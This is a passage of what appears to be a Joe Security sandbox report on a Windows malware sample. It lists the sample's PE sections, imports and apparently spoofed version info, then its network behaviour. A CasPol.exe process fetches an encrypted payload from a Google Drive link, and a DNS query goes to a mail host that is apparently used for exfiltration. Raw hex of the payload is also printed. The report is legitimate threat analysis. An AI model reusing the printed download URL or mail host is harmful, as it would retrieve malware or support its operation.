.ndata 0x2b000 0x22000 0x0 False 0 empty 0.0 IMAGE_SCN_MEM_WRITE, IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ

.rsrc 0x4d000 0x183d8 0x18400 False 0.234344797036 data 3.36320607814 IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Name RVA Size Type Language Country

RT_BITMAP 0x4d430 0x368 data English United States

RT_ICON 0x4d798 0x10828 dBase IV DBT, blocks size 0, block length 2048, next free block index 40, next free block 0, next used block 0

English United States

RT_ICON 0x5dfc0 0x25a8 data English United States

RT_ICON 0x60568 0x10a8 data English United States

RT_ICON 0x61610 0xea8 data English United States

RT_ICON 0x624b8 0x988 data English United States

RT_ICON 0x62e40 0x8a8 dBase IV DBT of @.DBF, block length 1024, next free block index 40, next free block 0, next used block 0

English United States

RT_ICON 0x636e8 0x6c8 data English United States

RT_ICON 0x63db0 0x568 GLS_BINARY_LSB_FIRST English United States

RT_ICON 0x64318 0x468 GLS_BINARY_LSB_FIRST English United States

RT_DIALOG 0x64780 0xb8 data English United States

RT_DIALOG 0x64838 0x144 data English United States

RT_DIALOG 0x64980 0x13c data English United States

RT_DIALOG 0x64ac0 0x100 data English United States

RT_DIALOG 0x64bc0 0x11c data English United States

RT_DIALOG 0x64ce0 0x60 data English United States

RT_GROUP_ICON 0x64d40 0x84 data English United States

RT_VERSION 0x64dc8 0x2d0 data English United States

RT_MANIFEST 0x65098 0x33e XML 1.0 document, ASCII text, with very long lines, with no line terminators

English United States

DLL Import

Sections

Resources

Imports

Copyright Joe Security LLC 2022 Page 22 of 50

ADVAPI32.dll RegCreateKeyExW, RegEnumKeyW, RegQueryValueExW, RegSetValueExW, RegCloseKey, RegDeleteValueW, RegDeleteKeyW, AdjustTokenPrivileges, LookupPrivilegeValueW, OpenProcessToken, SetFileSecurityW, RegOpenKeyExW, RegEnumValueW

SHELL32.dll SHGetSpecialFolderLocation, SHFileOperationW, SHBrowseForFolderW, SHGetPathFromIDListW, ShellExecuteExW, SHGetFileInfoW

ole32.dll OleInitialize, OleUninitialize, CoCreateInstance, IIDFromString, CoTaskMemFree

COMCTL32.dll ImageList_Create, ImageList_Destroy, ImageList_AddMasked

USER32.dll GetClientRect, EndPaint, DrawTextW, IsWindowEnabled, DispatchMessageW, wsprintfA, CharNextA, CharPrevW, MessageBoxIndirectW, GetDlgItemTextW, SetDlgItemTextW, GetSystemMetrics, FillRect, AppendMenuW, TrackPopupMenu, OpenClipboard, SetClipboardData, CloseClipboard, IsWindowVisible, CallWindowProcW, GetMessagePos, CheckDlgButton, LoadCursorW, SetCursor, GetSysColor, SetWindowPos, GetWindowLongW, PeekMessageW, SetClassLongW, GetSystemMenu, EnableMenuItem, GetWindowRect, ScreenToClient, EndDialog, RegisterClassW, SystemParametersInfoW, CreateWindowExW, GetClassInfoW, DialogBoxParamW, CharNextW, ExitWindowsEx, DestroyWindow, CreateDialogParamW, SetTimer, SetWindowTextW, PostQuitMessage, SetForegroundWindow, ShowWindow, wsprintfW, SendMessageTimeoutW, FindWindowExW, IsWindow, GetDlgItem, SetWindowLongW, LoadImageW, GetDC, ReleaseDC, EnableWindow, InvalidateRect, SendMessageW, DefWindowProcW, BeginPaint, EmptyClipboard, CreatePopupMenu

GDI32.dll SetBkMode, SetBkColor, GetDeviceCaps, CreateFontIndirectW, CreateBrushIndirect, DeleteObject, SetTextColor, SelectObject

KERNEL32.dll GetExitCodeProcess, WaitForSingleObject, GetModuleHandleA, GetProcAddress, GetSystemDirectoryW, lstrcatW, Sleep, lstrcpyA, WriteFile, GetTempFileNameW, lstrcmpiA, RemoveDirectoryW, CreateProcessW, CreateDirectoryW, GetLastError, CreateThread, GlobalLock, GlobalUnlock, GetDiskFreeSpaceW, WideCharToMultiByte, lstrcpynW, lstrlenW, SetErrorMode, GetVersionExW, GetCommandLineW, GetTempPathW, GetWindowsDirectoryW, SetEnvironmentVariableW, CopyFileW, ExitProcess, GetCurrentProcess, GetModuleFileNameW, GetFileSize, CreateFileW, GetTickCount, MulDiv, SetFileAttributesW, GetFileAttributesW, SetCurrentDirectoryW, MoveFileW, GetFullPathNameW, GetShortPathNameW, SearchPathW, CompareFileTime, SetFileTime, CloseHandle, lstrcmpiW, lstrcmpW, ExpandEnvironmentStringsW, GlobalFree, GlobalAlloc, GetModuleHandleW, LoadLibraryExW, MoveFileExW, FreeLibrary, WritePrivateProfileStringW, GetPrivateProfileStringW, lstrlenA, MultiByteToWideChar, ReadFile, SetFilePointer, FindClose, FindNextFileW, FindFirstFileW, DeleteFileW

DLL Import

Description Data

LegalCopyright Airborne, Inc.

FileVersion 25.15.14

CompanyName Owens & Minor Inc.

LegalTrademarks Pervasive Software Inc.

Comments McLeodUSA Incorporated

ProductName Metris Companies Inc

FileDescription Halliburton Co.

Translation 0x0409 0x04b0

Language of compilation system Country where language is spoken Map

English United States

Total Packets: 57

• 53 (DNS)

• 443 (HTTPS)

Version Infos

Possible Origin

Network Behavior

Network Port Distribution

Copyright Joe Security LLC 2022 Page 23 of 50

Timestamp Source Port Dest Port Source IP Dest IP

Apr 25, 2022 19:44:43.134061098 CEST 49745 443 192.168.11.20 142.250.185.174

Apr 25, 2022 19:44:43.134124041 CEST 443 49745 142.250.185.174 192.168.11.20

Apr 25, 2022 19:44:43.134375095 CEST 49745 443 192.168.11.20 142.250.185.174

Apr 25, 2022 19:44:43.158224106 CEST 49745 443 192.168.11.20 142.250.185.174

Apr 25, 2022 19:44:43.158253908 CEST 443 49745 142.250.185.174 192.168.11.20

Apr 25, 2022 19:44:43.208697081 CEST 443 49745 142.250.185.174 192.168.11.20

Apr 25, 2022 19:44:43.208837032 CEST 49745 443 192.168.11.20 142.250.185.174

Apr 25, 2022 19:44:43.208965063 CEST 49745 443 192.168.11.20 142.250.185.174

Apr 25, 2022 19:44:43.210283041 CEST 443 49745 142.250.185.174 192.168.11.20

Apr 25, 2022 19:44:43.210485935 CEST 49745 443 192.168.11.20 142.250.185.174

Apr 25, 2022 19:44:43.319658995 CEST 49745 443 192.168.11.20 142.250.185.174

Apr 25, 2022 19:44:43.319715023 CEST 443 49745 142.250.185.174 192.168.11.20

Apr 25, 2022 19:44:43.320535898 CEST 443 49745 142.250.185.174 192.168.11.20

Apr 25, 2022 19:44:43.320827961 CEST 49745 443 192.168.11.20 142.250.185.174

Apr 25, 2022 19:44:43.325155020 CEST 49745 443 192.168.11.20 142.250.185.174

Apr 25, 2022 19:44:43.368051052 CEST 443 49745 142.250.185.174 192.168.11.20

Apr 25, 2022 19:44:43.652560949 CEST 443 49745 142.250.185.174 192.168.11.20

Apr 25, 2022 19:44:43.652708054 CEST 443 49745 142.250.185.174 192.168.11.20

Apr 25, 2022 19:44:43.652787924 CEST 49745 443 192.168.11.20 142.250.185.174

Apr 25, 2022 19:44:43.652847052 CEST 49745 443 192.168.11.20 142.250.185.174

Apr 25, 2022 19:44:43.652919054 CEST 49745 443 192.168.11.20 142.250.185.174

Apr 25, 2022 19:44:43.652951956 CEST 443 49745 142.250.185.174 192.168.11.20

Apr 25, 2022 19:44:43.652959108 CEST 49745 443 192.168.11.20 142.250.185.174

Apr 25, 2022 19:44:43.653167009 CEST 49745 443 192.168.11.20 142.250.185.174

Apr 25, 2022 19:44:43.680975914 CEST 49746 443 192.168.11.20 172.217.16.129

Apr 25, 2022 19:44:43.681040049 CEST 443 49746 172.217.16.129 192.168.11.20

Apr 25, 2022 19:44:43.681246996 CEST 49746 443 192.168.11.20 172.217.16.129

Apr 25, 2022 19:44:43.681746960 CEST 49746 443 192.168.11.20 172.217.16.129

Apr 25, 2022 19:44:43.681777954 CEST 443 49746 172.217.16.129 192.168.11.20

Apr 25, 2022 19:44:43.732490063 CEST 443 49746 172.217.16.129 192.168.11.20

Apr 25, 2022 19:44:43.732769966 CEST 49746 443 192.168.11.20 172.217.16.129

Apr 25, 2022 19:44:43.734153032 CEST 443 49746 172.217.16.129 192.168.11.20

Apr 25, 2022 19:44:43.734333992 CEST 49746 443 192.168.11.20 172.217.16.129

Apr 25, 2022 19:44:43.734347105 CEST 49746 443 192.168.11.20 172.217.16.129

Apr 25, 2022 19:44:43.740844965 CEST 49746 443 192.168.11.20 172.217.16.129

Apr 25, 2022 19:44:43.740854979 CEST 443 49746 172.217.16.129 192.168.11.20

Apr 25, 2022 19:44:43.741131067 CEST 443 49746 172.217.16.129 192.168.11.20

Apr 25, 2022 19:44:43.741281033 CEST 49746 443 192.168.11.20 172.217.16.129

Apr 25, 2022 19:44:43.741619110 CEST 49746 443 192.168.11.20 172.217.16.129

Apr 25, 2022 19:44:43.784006119 CEST 443 49746 172.217.16.129 192.168.11.20

Apr 25, 2022 19:44:43.991038084 CEST 443 49746 172.217.16.129 192.168.11.20

TCP Packets

Copyright Joe Security LLC 2022 Page 24 of 50

Apr 25, 2022 19:44:43.991195917 CEST 49746 443 192.168.11.20 172.217.16.129

Apr 25, 2022 19:44:43.991245031 CEST 49746 443 192.168.11.20 172.217.16.129

Apr 25, 2022 19:44:43.992046118 CEST 443 49746 172.217.16.129 192.168.11.20

Apr 25, 2022 19:44:43.992239952 CEST 49746 443 192.168.11.20 172.217.16.129

Apr 25, 2022 19:44:43.992775917 CEST 443 49746 172.217.16.129 192.168.11.20

Apr 25, 2022 19:44:43.992906094 CEST 49746 443 192.168.11.20 172.217.16.129

Apr 25, 2022 19:44:43.992913961 CEST 49746 443 192.168.11.20 172.217.16.129

Apr 25, 2022 19:44:43.992954016 CEST 49746 443 192.168.11.20 172.217.16.129

Apr 25, 2022 19:44:43.994117022 CEST 443 49746 172.217.16.129 192.168.11.20

Apr 25, 2022 19:44:43.994247913 CEST 49746 443 192.168.11.20 172.217.16.129

Apr 25, 2022 19:44:43.994256973 CEST 49746 443 192.168.11.20 172.217.16.129

Apr 25, 2022 19:44:43.994262934 CEST 443 49746 172.217.16.129 192.168.11.20

Apr 25, 2022 19:44:43.994399071 CEST 49746 443 192.168.11.20 172.217.16.129

Apr 25, 2022 19:44:43.994863987 CEST 443 49746 172.217.16.129 192.168.11.20

Apr 25, 2022 19:44:43.995059013 CEST 49746 443 192.168.11.20 172.217.16.129

Apr 25, 2022 19:44:43.995073080 CEST 443 49746 172.217.16.129 192.168.11.20

Apr 25, 2022 19:44:43.995208979 CEST 49746 443 192.168.11.20 172.217.16.129

Apr 25, 2022 19:44:44.001070023 CEST 443 49746 172.217.16.129 192.168.11.20

Apr 25, 2022 19:44:44.001231909 CEST 49746 443 192.168.11.20 172.217.16.129

Apr 25, 2022 19:44:44.001244068 CEST 443 49746 172.217.16.129 192.168.11.20

Apr 25, 2022 19:44:44.001393080 CEST 49746 443 192.168.11.20 172.217.16.129

Apr 25, 2022 19:44:44.001403093 CEST 443 49746 172.217.16.129 192.168.11.20

Apr 25, 2022 19:44:44.001573086 CEST 49746 443 192.168.11.20 172.217.16.129

Apr 25, 2022 19:44:44.001579046 CEST 443 49746 172.217.16.129 192.168.11.20

Apr 25, 2022 19:44:44.001725912 CEST 49746 443 192.168.11.20 172.217.16.129

Apr 25, 2022 19:44:44.002069950 CEST 443 49746 172.217.16.129 192.168.11.20

Apr 25, 2022 19:44:44.002249956 CEST 49746 443 192.168.11.20 172.217.16.129

Apr 25, 2022 19:44:44.002260923 CEST 443 49746 172.217.16.129 192.168.11.20

Apr 25, 2022 19:44:44.002391100 CEST 49746 443 192.168.11.20 172.217.16.129

Apr 25, 2022 19:44:44.002791882 CEST 443 49746 172.217.16.129 192.168.11.20

Apr 25, 2022 19:44:44.002995014 CEST 49746 443 192.168.11.20 172.217.16.129

Apr 25, 2022 19:44:44.003005028 CEST 443 49746 172.217.16.129 192.168.11.20

Apr 25, 2022 19:44:44.003156900 CEST 49746 443 192.168.11.20 172.217.16.129

Apr 25, 2022 19:44:44.003523111 CEST 443 49746 172.217.16.129 192.168.11.20

Apr 25, 2022 19:44:44.003705978 CEST 49746 443 192.168.11.20 172.217.16.129

Apr 25, 2022 19:44:44.003716946 CEST 443 49746 172.217.16.129 192.168.11.20

Apr 25, 2022 19:44:44.003885031 CEST 49746 443 192.168.11.20 172.217.16.129

Apr 25, 2022 19:44:44.004244089 CEST 443 49746 172.217.16.129 192.168.11.20

Apr 25, 2022 19:44:44.004412889 CEST 49746 443 192.168.11.20 172.217.16.129

Apr 25, 2022 19:44:44.004426003 CEST 443 49746 172.217.16.129 192.168.11.20

Apr 25, 2022 19:44:44.004570007 CEST 49746 443 192.168.11.20 172.217.16.129

Apr 25, 2022 19:44:44.004991055 CEST 443 49746 172.217.16.129 192.168.11.20

Apr 25, 2022 19:44:44.005136967 CEST 49746 443 192.168.11.20 172.217.16.129

Apr 25, 2022 19:44:44.005148888 CEST 443 49746 172.217.16.129 192.168.11.20

Apr 25, 2022 19:44:44.005297899 CEST 49746 443 192.168.11.20 172.217.16.129

Apr 25, 2022 19:44:44.005666018 CEST 443 49746 172.217.16.129 192.168.11.20

Apr 25, 2022 19:44:44.005868912 CEST 49746 443 192.168.11.20 172.217.16.129

Apr 25, 2022 19:44:44.005878925 CEST 443 49746 172.217.16.129 192.168.11.20

Apr 25, 2022 19:44:44.006017923 CEST 49746 443 192.168.11.20 172.217.16.129

Apr 25, 2022 19:44:44.006294012 CEST 443 49746 172.217.16.129 192.168.11.20

Apr 25, 2022 19:44:44.006442070 CEST 49746 443 192.168.11.20 172.217.16.129

Apr 25, 2022 19:44:44.006452084 CEST 443 49746 172.217.16.129 192.168.11.20

Apr 25, 2022 19:44:44.006603003 CEST 49746 443 192.168.11.20 172.217.16.129

Apr 25, 2022 19:44:44.006970882 CEST 443 49746 172.217.16.129 192.168.11.20

Apr 25, 2022 19:44:44.007122993 CEST 49746 443 192.168.11.20 172.217.16.129

Apr 25, 2022 19:44:44.007138014 CEST 443 49746 172.217.16.129 192.168.11.20

Apr 25, 2022 19:44:44.007288933 CEST 49746 443 192.168.11.20 172.217.16.129

Apr 25, 2022 19:44:44.007637024 CEST 443 49746 172.217.16.129 192.168.11.20

Apr 25, 2022 19:44:44.007766962 CEST 443 49746 172.217.16.129 192.168.11.20

Timestamp Source Port Dest Port Source IP Dest IP

Copyright Joe Security LLC 2022 Page 25 of 50

Timestamp Source Port Dest Port Source IP Dest IP

Apr 25, 2022 19:44:43.101444960 CEST 57425 53 192.168.11.20 1.1.1.1

Apr 25, 2022 19:44:43.125305891 CEST 53 57425 1.1.1.1 192.168.11.20

Apr 25, 2022 19:44:43.654942036 CEST 56443 53 192.168.11.20 1.1.1.1

Apr 25, 2022 19:44:43.678642988 CEST 53 56443 1.1.1.1 192.168.11.20

Apr 25, 2022 19:44:55.453104973 CEST 53591 53 192.168.11.20 1.1.1.1

Apr 25, 2022 19:44:55.510546923 CEST 53 53591 1.1.1.1 192.168.11.20

Timestamp Source IP Dest IP Trans ID OP Code Name Type Class

Apr 25, 2022 19:44:43.101444960 CEST 192.168.11.20 1.1.1.1 0x2f2c Standard query (0)

drive.google.com A (IP address) IN (0x0001)

Apr 25, 2022 19:44:43.654942036 CEST 192.168.11.20 1.1.1.1 0xe050 Standard query (0)

doc-0c-2o-docs.googleusercontent.com

A (IP address) IN (0x0001)

Apr 25, 2022 19:44:55.453104973 CEST 192.168.11.20 1.1.1.1 0x8a74 Standard query (0)

mail.ferdi.hu A (IP address) IN (0x0001)

Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class

Apr 25, 2022 19:44:43.125305891 CEST

1.1.1.1 192.168.11.20 0x2f2c No error (0) drive.google.com 142.250.185.174 A (IP address) IN (0x0001)

Apr 25, 2022 19:44:43.678642988 CEST

1.1.1.1 192.168.11.20 0xe050 No error (0) doc-0c-2o-docs.googleusercontent.com

googlehosted.l.googleusercontent.com

CNAME (Canonical name)

IN (0x0001)

Apr 25, 2022 19:44:43.678642988 CEST

1.1.1.1 192.168.11.20 0xe050 No error (0) googlehosted.l.googleusercontent.com

172.217.16.129 A (IP address) IN (0x0001)

Apr 25, 2022 19:44:55.510546923 CEST

1.1.1.1 192.168.11.20 0x8a74 No error (0) mail.ferdi.hu 185.51.191.23 A (IP address) IN (0x0001)

drive.google.com

doc-0c-2o-docs.googleusercontent.com

Session ID Source IP Source Port Destination IPDestinationPort

Process

0 192.168.11.20 49745 142.250.185.174 443 C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

TimestampkBytestransferred

Direction Data

2022-04-25 17:44:43 UTC 0 OUT GET /uc?export=download&id=1F1Mc9Vh_X4KMsNX2l2mxKct0fg4HulwM HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoHost: drive.google.comCache-Control: no-cache

UDP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

HTTPS Proxied Packets

Copyright Joe Security LLC 2022 Page 26 of 50

2022-04-25 17:44:43 UTC 0 IN HTTP/1.1 303 See OtherContent-Type: application/binaryVary: Sec-Fetch-Dest, Sec-Fetch-Mode, Sec-Fetch-SiteCache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Mon, 25 Apr 2022 17:44:43 GMTLocation: https://doc-0c-2o-docs.googleusercontent.com/docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/bp0aag9i5ef1cv699367mhnadd9582eu/1650908625000/16604084202803386675/*/1F1Mc9Vh_X4KMsNX2l2mxKct0fg4HulwM?e=downloadStrict-Transport-Security: max-age=31536000Cross-Origin-Opener-Policy: same-originContent-Security-Policy: script-src 'nonce-F1UnuGuJ2GHT33HWLhk9aA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=*, ch-ua-bitness=*, ch-ua-full-version=*, ch-ua-full-version-list=*, ch-ua-model=*, ch-ua-platform=*, ch-ua-platform-version=*Server: ESFContent-Length: 0X-XSS-Protection: 0X-Frame-Options: SAMEORIGINX-Content-Type-Options: nosniffAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"Connection: close

TimestampkBytestransferred

Direction Data

Session ID Source IP Source Port Destination IPDestinationPort

Process

1 192.168.11.20 49746 172.217.16.129 443 C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

TimestampkBytestransferred

Direction Data

2022-04-25 17:44:43 UTC 1 OUT GET /docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/bp0aag9i5ef1cv699367mhnadd9582eu/1650908625000/16604084202803386675/*/1F1Mc9Vh_X4KMsNX2l2mxKct0fg4HulwM?e=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoCache-Control: no-cacheHost: doc-0c-2o-docs.googleusercontent.comConnection: Keep-Alive

Copyright Joe Security LLC 2022 Page 27 of 50

2022-04-25 17:44:43 UTC 2 IN HTTP/1.1 200 OKX-GUploader-UploadID: ADPycdtWwsUzDYdThBk8S_4RvyZ-NGVnFrAFa_Cc3g2ruXcyg4c-56USn--tDYpyTImFLpotSxvYos34-06Hn45Acnp69gAccess-Control-Allow-Origin: *Access-Control-Allow-Credentials: falseAccess-Control-Allow-Headers: Accept, Accept-Language, Authorization, Cache-Control, Content-Disposition, Content-Encoding, Content-Language, Content-Length, Content-MD5, Content-Range, Content-Type, Date, developer-token, financial-institution-id, X-Goog-Sn-Metadata, X-Goog-Sn-PatientId, GData-Version, google-cloud-resource-prefix, linked-customer-id, login-customer-id, x-goog-request-params, Host, If-Match, If-Modified-Since, If-None-Match, If-Unmodified-Since, Origin, OriginToken, Pragma, Range, request-id, Slug, Transfer-Encoding, hotrod-board-name, hotrod-chrome-cpu-model, hotrod-chrome-processors, Want-Digest, x-chrome-connected, X-ClientDetails, X-Client-Version, X-Firebase-Locale, X-Goog-Firebase-Installations-Auth, X-Firebase-Client, X-Firebase-Client-Log-Type, X-Firebase-GMPID, X-Firebase-Auth-Token, X-Firebase-AppCheck, X-Goog-Drive-Client-Version, X-Goog-Drive-Resource-Keys, X-GData-Client, X-GData-Key, X-GoogApps-Allowed-Domains, X-Goog-AdX-Buyer-Impersonation, X-Goog-Api-Client, X-Goog-Visibilities, X-Goog-AuthUser, x-goog-ext-124712974-jspb, x-goog-ext-251363160-jspb, x-goog-ext-259736195-jspb, X-Goog-PageId, X-Goog-Encode-Response-If-Executable, X-Goog-Correlation-Id, X-Goog-Request-Info, X-Goog-Request-Reason, X-Goog-Experiments, x-goog-iam-authority-selector, x-goog-iam-authorization-token, X-Goog-Spatula, X-Goog-Travel-Bgr, X-Goog-Travel-Settings, X-Goog-Upload-Command, X-Goog-Upload-Content-Disposition, X-Goog-Upload-Content-Length, X-Goog-Upload-Content-Type, X-Goog-Upload-File-Name, X-Goog-Upload-Header-Content-Encoding, X-Goog-Upload-Header-Content-Length, X-Goog-Upload-Header-Content-Type, X-Goog-Upload-Header-Transfer-Encoding, X-Goog-Upload-Offset, X-Goog-Upload-Protocol, x-goog-user-project, X-Goog-Visitor-Id, X-Goog-FieldMask, X-Google-Project-Override, X-Goog-Api-Key, X-HTTP-Method-Override, X-JavaScript-User-Agent, X-Pan-Versionid, X-Proxied-User-IP, X-Origin, X-Referer, X-Requested-With, X-Stadia-Client-Context, X-Upload-Content-Length, X-Upload-Content-Type, X-Use-Alt-Service, X-Use-HTTP-Status-Code-Override, X-Ios-Bundle-Identifier, X-Android-Package, X-Ariane-Xsrf-Token, X-YouTube-VVT, X-YouTube-Page-CL, X-YouTube-Page-Timestamp, X-Compass-Routing-Destination, x-framework-xsrf-token, X-Goog-Meeting-ABR, X-Goog-Meeting-Botguardid, X-Goog-Meeting-ClientInfo, X-Goog-Meeting-ClientVersion, X-Goog-Meeting-Debugid, X-Goog-Meeting-Identifier, X-Goog-Meeting-RtcClient, X-Goog-Meeting-StartSource, X-Goog-Meeting-Token, X-Goog-Meeting-ViewerInfo, X-Client-Data, x-sdm-id-token, X-Sfdc-Authorization, MIME-Version, Content-Transfer-Encoding, X-Earth-Engine-App-ID-Token, X-Earth-Engine-Computation-Profile, X-Earth-Engine-Computation-Profiling, X-Play-Console-Experiments-Override, X-Play-Console-Session-Id, x-alkali-account-key, x-alkali-application-key, x-alkali-auth-apps-namespace, x-alkali-auth-entities-namespace, x-alkali-auth-entity, x-alkali-client-locale, EES-S7E-MODE, cast-device-capabilities, X-Server-Timeout, x-foyer-client-environmentAccess-Control-Allow-Methods: GET,OPTIONSContent-Type: application/octet-streamContent-Disposition: attachment;filename="KEV_YaVmDv151.bin";filename*=UTF-8''KEV_YaVmDv151.binContent-Length: 214592Date: Mon, 25 Apr 2022 17:44:43 GMTExpires: Mon, 25 Apr 2022 17:44:43 GMTCache-Control: private, max-age=0X-Goog-Hash: crc32c=lIW88w==Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"Connection: close

2022-04-25 17:44:43 UTC 5 IN Data Raw: eb 89 7b a0 96 83 51 95 8e 78 b9 a6 dc 4b c2 42 0d b5 fe 09 49 90 75 76 83 c1 3f 36 3c 9a 12 48 35 1b bc 49 e2 bb 9c 04 a0 ab 54 6b 5c 19 9b ac ac ea 2d 98 3c 63 8a 1f 1a f2 45 ad 9d d0 3a 86 94 f0 8d 92 51 98 0f d7 d7 bc 30 75 25 18 ea 6e 63 58 90 ae f4 d3 48 f9 a0 a5 57 9f 04 f2 98 7f 7a 36 be 8a 74 9b f0 b0 82 da e2 52 d1 c4 af 46 07 b3 46 a0 2e 7d 6f 7a c7 6d f0 cb eb 57 d9 72 07 22 75 d6 9b ea 72 0e b1 27 4e 92 9f 45 5a 1e e3 67 2d 4a f7 0b e6 dd 2c dc ef 7f ba 9c 17 c8 77 75 18 69 2b 3a b4 6d 15 23 4f 5b cf 4c ec 63 56 87 fb b0 15 45 60 64 d5 ec e5 3b 01 de a1 42 18 53 63 b1 5b 90 15 b1 16 14 d1 f3 3d ab a0 b9 75 f3 ca 6c 8f b9 78 58 99 d2 00 4e 3e 0b 00 57 7d dd 28 9b f7 d4 d4 ce 71 27 ad e4 b7 23 25 7f 14 5e 5d a6 30 9f 58 1c 6c 67 8e 1b c8 23 3f Data Ascii: {QxKBIuv?6<H5ITk\-<cE:Q0u%ncXHWz6tRFF.}ozmWr"ur'NEZg-J,wui+:m#O[LcVE`d;BSc[=ulxXN>W}(q'#%^]0Xlg#?

2022-04-25 17:44:43 UTC 9 IN Data Raw: 5b 92 d3 84 ee c5 79 88 93 18 0b 54 1f 97 f1 d6 ab 7f 4b e9 c9 66 11 92 71 a8 43 fd 6b f1 8b 0d 75 17 a6 04 41 cb e4 4a d5 cc 19 06 c8 46 db 1c 70 9c a5 4e 50 b0 9d 2c 8a af 87 e7 a3 26 ed 90 36 bd fd e7 0d 2f ad c6 21 db 28 9a 68 5e 68 1b 81 ba 84 cf 0c 94 d5 35 a1 f7 ff 27 90 d0 97 84 29 2b 82 e2 28 c7 7d a6 b7 63 8e 10 82 f3 e9 91 ae 75 e5 00 c4 27 49 96 e8 7c f6 b9 00 a0 5f 94 92 33 3b 00 54 be bb 58 b1 10 69 36 fb cf 38 41 f1 09 fa 8a 4d e5 52 b0 e3 d7 68 36 5f be ad 99 fb c5 e0 24 44 0c 28 e1 54 40 55 05 74 ac 6f 5a d1 09 85 92 8d 55 ca 53 9d 1c 71 b3 36 b5 5e 44 2b 70 cf 0e 5f 63 a8 c9 37 67 86 a5 1d a6 13 51 dc 13 e5 14 f9 41 a5 00 a7 a7 cf e4 12 67 f4 eb 65 8f 30 45 d6 29 e7 40 e8 ba 9c 8c 55 f1 18 12 79 b6 15 86 a7 10 48 3b 49 1a b0 4f 8e d4 ef Data Ascii: [yTKfqCkuAJFpNP,&6/!(h^h5')+(}cu'I|_3;TXi68AMRh6_$D(T@UtoZUSq6^D+p_c7gQAge0E)@UyH;IO

2022-04-25 17:44:43 UTC 13 IN Data Raw: 7c ef 26 f0 cb 61 44 cb 60 1b 15 6e d8 9b 54 68 d0 82 8c 67 41 50 64 08 5e 28 14 0d 30 ad 47 81 af 47 bb e7 bf db f2 73 8f a3 57 7a 0a 0d 60 60 01 35 4c 09 5d 8b 03 b5 2c 69 e8 9f df 30 4a 45 09 f1 ec ef 4f 3d de a1 43 5b 1e 72 b9 3f 33 14 b1 cd 3d b7 b2 3d ab aa d6 04 f3 ca 66 7e b1 52 d3 90 d3 0d 21 4e 37 03 5d 6c dd 3f f4 9c d4 d4 c4 fe 74 86 8d b7 03 2f 10 7e 5e 5d ac 21 97 77 6f 6c 47 84 08 ce 09 9c 30 15 04 71 54 9b da 6d 3f fd 59 47 83 b0 38 0f ae 87 90 ea bb d5 a7 79 5a a0 64 47 6a f7 01 a7 55 27 e2 bc a2 63 7f af 85 71 09 a2 f6 b1 08 24 bd 5e 69 df ea 25 3e 25 1e 3e dd c9 25 a7 e7 64 0d bf 7b b5 65 35 0a a6 03 df 3a 3f c6 e9 81 69 0b 37 ca 0c b8 cb c4 3c 3f a5 e2 7a 54 df 54 13 9f 19 24 53 16 43 49 34 3b 91 00 7f f5 85 31 2e c0 2c c7 e3 53 39 b0 Data Ascii: |&aD`nThgAPd^(0GGsWz``5L],i0JEO=C[r?3==f~R!N7]l?t/~^]!wolG0qTm?YG8yZdGjU'cq$^i%>%>%d{e5:?i7<?zTT$SCI4;1.,S9

2022-04-25 17:44:43 UTC 16 IN Data Raw: 90 fc 6e c8 e0 28 3d 55 bc eb 32 13 e7 7c 95 b1 75 84 3f 09 1c 3e cb 10 6f e7 84 fb 54 2d cc 6b a4 f7 f5 f6 2b d2 ac b9 b1 32 cb e8 34 2d 9c 2f e1 50 e3 4e 16 4d dd 7b 59 75 ba 89 9e b1 08 dd 7b 0a 17 63 b8 4f bb 76 81 2d 58 85 18 d2 6e 0a c1 2f 5b e4 b3 35 38 b1 59 cc 79 d0 dd fb 45 01 1f 31 a2 6d ec 0f 0a ed fa 61 9d 84 c1 ac 64 e7 41 40 83 cb 98 41 ed 27 14 e4 b6 1f 52 a0 2e 21 e2 4b 1a b6 59 03 d3 ff d3 90 f0 54 84 aa 60 d4 91 ba 69 c8 c2 43 4e db 40 2b 89 03 f8 67 32 f1 a7 6c 33 f5 08 5a a1 f5 0a 70 f0 a1 83 25 87 05 5b 32 e1 77 94 f6 72 1f d6 1e 26 84 3d ff eb 7d 1c 26 19 b5 7a 36 f1 5a 02 e1 c6 8a fa a9 76 ee e6 3c 1d 64 45 ab 2d 94 cf 8a ef 28 b0 14 c0 68 69 f8 e4 49 32 49 ac 5b de 61 90 5c 09 c5 38 bb 52 19 4b 13 67 15 54 cb 82 32 af a8 d2 ef 74 Data Ascii: n(=U2|u?>oT-k+24-/PNM{Yu{cOv-Xn/[58YyE1madA@A'R.!KYT`iCN@+g2l3Zp%[2wr&=}&z6Zv<dE-(hiI2I[a\8RKgT2t

TimestampkBytestransferred

Direction Data

Copyright Joe Security LLC 2022 Page 28 of 50

